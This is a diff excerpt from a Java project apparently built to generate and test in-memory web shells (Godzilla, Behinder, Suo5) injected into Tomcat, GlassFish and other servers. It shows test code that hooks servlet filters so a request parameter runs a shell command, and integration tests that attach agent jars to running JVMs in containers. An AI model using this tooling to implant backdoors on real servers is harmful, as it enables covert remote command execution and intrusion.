.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
|
.injectorClass(TomcatFilterChainAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
||||||
// injectorGenerator.generate();
|
// injectorGenerator.generate();
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
assertEquals(2, innerClassBytes.size());
|
// assertEquals(4, innerClassBytes.size());
|
||||||
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,9 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
|
|||||||
@@ -4,11 +4,14 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/22
|
* @since 2025/1/22
|
||||||
|
|||||||
-94
@@ -1,94 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.junit.jupiter.api.extension.ExtendWith;
|
|
||||||
import org.mockito.Mock;
|
|
||||||
import org.mockito.junit.jupiter.MockitoExtension;
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import javax.servlet.FilterChain;
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.File;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
import static org.mockito.Mockito.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/30
|
|
||||||
*/
|
|
||||||
@ExtendWith(MockitoExtension.class)
|
|
||||||
public class CommandFilterChainASMTest {
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletRequest mockRequest;
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletResponse mockResponse;
|
|
||||||
|
|
||||||
Object instance;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
@SneakyThrows
|
|
||||||
void setUp() {
|
|
||||||
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
|
||||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if ("doFilter".equals(name)) {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
|
||||||
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
|
|
||||||
Class<?> clazz = ClassUtils.defineClass(bytes2);
|
|
||||||
instance = spy(clazz.newInstance());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testInvokeParam() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn("id");
|
|
||||||
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
|
|
||||||
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
|
|
||||||
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
String output = capturedOutput.toString(StandardCharsets.UTF_8);
|
|
||||||
assertTrue(output.contains("uid="));
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), never()).doFilterInternal();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testNotParameter() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn(null);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-93
@@ -1,93 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import net.bytebuddy.agent.ByteBuddyAgent;
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
|
||||||
import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import org.junit.jupiter.api.AfterEach;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.junit.jupiter.api.extension.ExtendWith;
|
|
||||||
import org.mockito.Mock;
|
|
||||||
import org.mockito.junit.jupiter.MockitoExtension;
|
|
||||||
|
|
||||||
import javax.servlet.FilterChain;
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.none;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
import static org.mockito.Mockito.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/30
|
|
||||||
*/
|
|
||||||
@ExtendWith(MockitoExtension.class)
|
|
||||||
public class CommandFilterChainAdvisorTest {
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletRequest mockRequest;
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletResponse mockResponse;
|
|
||||||
|
|
||||||
Object instance;
|
|
||||||
|
|
||||||
static ClassFileTransformer classFileTransformer;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
@SneakyThrows
|
|
||||||
void setUp() {
|
|
||||||
ByteBuddyAgent.install();
|
|
||||||
ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
|
|
||||||
ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
|
|
||||||
ByteArrayClassLoader.PersistenceHandler.MANIFEST);
|
|
||||||
classFileTransformer = new AgentBuilder.Default()
|
|
||||||
.ignore(none())
|
|
||||||
.type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
|
|
||||||
(builder, typeDescription, c, module, protectionDomain) ->
|
|
||||||
builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
|
|
||||||
.installOnByteBuddyAgent();
|
|
||||||
Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
|
|
||||||
instance = spy(clazz.newInstance());
|
|
||||||
}
|
|
||||||
|
|
||||||
@AfterEach
|
|
||||||
void tearDown() {
|
|
||||||
ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testInvokeParam() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn("id");
|
|
||||||
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
|
|
||||||
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
|
|
||||||
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
String output = capturedOutput.toString(StandardCharsets.UTF_8);
|
|
||||||
assertTrue(output.contains("uid="));
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), never()).doFilterInternal();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testNotParameter() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn(null);
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Vendored
BIN
Binary file not shown.
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
distributionBase=GRADLE_USER_HOME
|
distributionBase=GRADLE_USER_HOME
|
||||||
distributionPath=wrapper/dists
|
distributionPath=wrapper/dists
|
||||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.1-bin.zip
|
||||||
networkTimeout=10000
|
networkTimeout=10000
|
||||||
validateDistributionUrl=true
|
validateDistributionUrl=true
|
||||||
zipStoreBase=GRADLE_USER_HOME
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
|||||||
@@ -205,7 +205,7 @@ fi
|
|||||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
# Collect all arguments for the java command:
|
# Collect all arguments for the java command:
|
||||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||||
# and any embedded shellness will be escaped.
|
# and any embedded shellness will be escaped.
|
||||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||||
# treated as '${Hostname}' itself on the command line.
|
# treated as '${Hostname}' itself on the command line.
|
||||||
|
|||||||
@@ -51,20 +51,6 @@ idea {
|
|||||||
}
|
}
|
||||||
|
|
||||||
test {
|
test {
|
||||||
// dependsOn(
|
|
||||||
// ":vul:vul-webapp:war",
|
|
||||||
// ":vul:vul-webapp-expression:war",
|
|
||||||
// ":vul:vul-webapp-deserialize:war",
|
|
||||||
// ":vul:vul-webapp-jakarta:war",
|
|
||||||
// ":vul:vul-springboot1:bootJar",
|
|
||||||
// ":vul:vul-springboot2:bootJar",
|
|
||||||
// ":vul:vul-springboot2-jetty:bootJar",
|
|
||||||
// ":vul:vul-springboot2-undertow:bootJar",
|
|
||||||
// ":vul:vul-springboot2:bootWar",
|
|
||||||
// ":vul:vul-springboot2-webflux:bootJar",
|
|
||||||
// ":vul:vul-springboot3:bootJar",
|
|
||||||
// ":vul:vul-springboot3-webflux:bootJar",
|
|
||||||
// )
|
|
||||||
useJUnitPlatform()
|
useJUnitPlatform()
|
||||||
finalizedBy jacocoTestReport
|
finalizedBy jacocoTestReport
|
||||||
}
|
}
|
||||||
Executable
+2
@@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
pgrep -f 'ASMain|GlassFishMain' | tr -d '\n'
|
||||||
@@ -31,6 +31,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
|
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
|
||||||
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
|
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
|
||||||
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
|
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
|
||||||
|
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
|
||||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
|
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
|
||||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
|
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
|
||||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
|
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
|
||||||
|
|||||||
+26
-2
@@ -5,6 +5,9 @@ import com.reajason.javaweb.behinder.BehinderManager;
|
|||||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -16,6 +19,7 @@ import okhttp3.Request;
|
|||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.java_websocket.client.WebSocketClient;
|
import org.java_websocket.client.WebSocketClient;
|
||||||
import org.java_websocket.handshake.ServerHandshake;
|
import org.java_websocket.handshake.ServerHandshake;
|
||||||
|
import org.testcontainers.containers.Container;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
@@ -92,13 +96,12 @@ public class ShellAssertionTool {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||||
String content = null;
|
String content = null;
|
||||||
if (packer.getInstance() instanceof JarPacker) {
|
if (packer.getInstance() instanceof AgentJarPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||||
Path tempJar = Files.createTempFile("temp", "jar");
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
Files.write(tempJar, bytes);
|
Files.write(tempJar, bytes);
|
||||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
// Files.copy(tempJar, Paths.get("target.jar"));
|
|
||||||
FileUtils.deleteQuietly(tempJar.toFile());
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||||
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
||||||
@@ -108,6 +111,27 @@ public class ShellAssertionTool {
|
|||||||
containsString("ATTACH_ACK"),
|
containsString("ATTACH_ACK"),
|
||||||
containsString("JVM response code = 0")
|
containsString("JVM response code = 0")
|
||||||
));
|
));
|
||||||
|
} else if (packer.getInstance() instanceof AgentJarWithJREAttacherPacker || packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
|
||||||
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||||
|
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
||||||
|
Container.ExecResult execResult = appContainer.execInContainer("java", "-jar", jarPath, pidInContainer);
|
||||||
|
String stdout = execResult.getStdout();
|
||||||
|
if (stdout.contains("executable file not found")) {
|
||||||
|
execResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, pidInContainer);
|
||||||
|
}
|
||||||
|
stdout = execResult.getStdout();
|
||||||
|
System.out.println(stdout);
|
||||||
|
System.out.println(execResult.getStderr());
|
||||||
|
log.info("attach result: {}", stdout);
|
||||||
|
assertThat(stdout, anyOf(
|
||||||
|
containsString("ok")
|
||||||
|
));
|
||||||
} else {
|
} else {
|
||||||
content = packer.getInstance().pack(generateResult);
|
content = packer.getInstance().pack(generateResult);
|
||||||
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
|
|||||||
+31
-6
@@ -19,16 +19,30 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
|||||||
*/
|
*/
|
||||||
public class TestCasesProvider {
|
public class TestCasesProvider {
|
||||||
|
|
||||||
public static Stream<Arguments> getTestCases(String imageName, Server server, List<String> testShellTypes, List<Packers> testPackers, List<Triple<String, ShellTool, Packers>> unSupportedCases) {
|
public static Stream<Arguments> getTestCases(String imageName,
|
||||||
|
Server server,
|
||||||
|
List<String> testShellTypes,
|
||||||
|
List<Packers> testPackers,
|
||||||
|
List<Triple<String, ShellTool, Packers>> unSupportedCases) {
|
||||||
return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null);
|
return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Stream<Arguments> getTestCases(String imageName, Server server, List<String> testShellTypes, List<Packers> testPackers, List<Triple<String, ShellTool, Packers>> unSupportedCases, List<ShellTool> unSupportedShellTools) {
|
public static Stream<Arguments> getTestCases(String imageName,
|
||||||
|
Server server,
|
||||||
|
List<String> testShellTypes,
|
||||||
|
List<Packers> testPackers,
|
||||||
|
List<Triple<String, ShellTool, Packers>> unSupportedCases,
|
||||||
|
List<ShellTool> unSupportedShellTools) {
|
||||||
Set<ShellTool> supportedShellTools = new TreeSet<>(server.getShell().getSupportedShellTools());
|
Set<ShellTool> supportedShellTools = new TreeSet<>(server.getShell().getSupportedShellTools());
|
||||||
if (unSupportedShellTools != null) {
|
if (unSupportedShellTools != null) {
|
||||||
unSupportedShellTools.forEach(supportedShellTools::remove);
|
unSupportedShellTools.forEach(supportedShellTools::remove);
|
||||||
}
|
}
|
||||||
Set<String> unSupported = unSupportedCases == null ? Collections.emptySet() : unSupportedCases.stream().map(i -> i.getLeft() + i.getMiddle() + i.getRight()).collect(Collectors.toSet());
|
Set<String> unSupported = unSupportedCases == null ?
|
||||||
|
Collections.emptySet() :
|
||||||
|
unSupportedCases
|
||||||
|
.stream()
|
||||||
|
.map(i -> i.getLeft() + i.getMiddle() + i.getRight())
|
||||||
|
.collect(Collectors.toSet());
|
||||||
return supportedShellTools.stream()
|
return supportedShellTools.stream()
|
||||||
.flatMap(supportedShellTool -> {
|
.flatMap(supportedShellTool -> {
|
||||||
List<String> toolSupportedShellTypes = new ArrayList<>();
|
List<String> toolSupportedShellTypes = new ArrayList<>();
|
||||||
@@ -41,13 +55,21 @@ public class TestCasesProvider {
|
|||||||
return toolSupportedShellTypes.stream().flatMap(supportedShellType -> {
|
return toolSupportedShellTypes.stream().flatMap(supportedShellType -> {
|
||||||
if (supportedShellType.startsWith(ShellType.AGENT)) {
|
if (supportedShellType.startsWith(ShellType.AGENT)) {
|
||||||
if (!unSupported.contains(supportedShellType + supportedShellTool + Packers.AgentJar)) {
|
if (!unSupported.contains(supportedShellType + supportedShellTool + Packers.AgentJar)) {
|
||||||
return Stream.of(arguments(imageName, supportedShellType, supportedShellTool, Packers.AgentJar));
|
Set<Packers> agentJarPackers = testPackers.stream()
|
||||||
|
.filter(packer -> packer.name().startsWith("AgentJar")).collect(Collectors.toSet());
|
||||||
|
if (!agentJarPackers.isEmpty()) {
|
||||||
|
return agentJarPackers.stream()
|
||||||
|
.map(packer -> Arguments.arguments(imageName, supportedShellType, supportedShellTool, packer));
|
||||||
|
} else {
|
||||||
|
return Stream.of(arguments(imageName, supportedShellType, supportedShellTool, Packers.AgentJar));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return Stream.empty();
|
return Stream.empty();
|
||||||
} else {
|
} else {
|
||||||
return testPackers.stream()
|
return testPackers.stream()
|
||||||
.map(testPacker -> {
|
.map(testPacker -> {
|
||||||
if (!unSupported.contains(supportedShellType + supportedShellTool + testPacker)) {
|
if (!unSupported.contains(supportedShellType + supportedShellTool + testPacker)
|
||||||
|
&& !testPacker.name().startsWith("AgentJar")) {
|
||||||
return arguments(imageName, supportedShellType, supportedShellTool, testPacker);
|
return arguments(imageName, supportedShellType, supportedShellTool, testPacker);
|
||||||
} else {
|
} else {
|
||||||
return null;
|
return null;
|
||||||
@@ -58,7 +80,10 @@ public class TestCasesProvider {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Stream<Arguments> getTestCases(String imageName, Server server, List<String> testShellTypes, List<Packers> testPackers) {
|
public static Stream<Arguments> getTestCases(String imageName,
|
||||||
|
Server server,
|
||||||
|
List<String> testShellTypes,
|
||||||
|
List<Packers> testPackers) {
|
||||||
return getTestCases(imageName, server, testShellTypes, testPackers, null);
|
return getTestCases(imageName, server, testShellTypes, testPackers, null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-10
@@ -18,14 +18,15 @@ import org.testcontainers.containers.wait.strategy.Wait;
|
|||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
|
||||||
|
|
||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -60,23 +61,17 @@ public class GlassFish3ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
|
|
||||||
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) // ClassFormatError
|
|
||||||
);
|
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
log.info(logs);
|
log.info(logs);
|
||||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
|||||||
+1
-3
@@ -61,9 +61,7 @@ public class GlassFish4ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
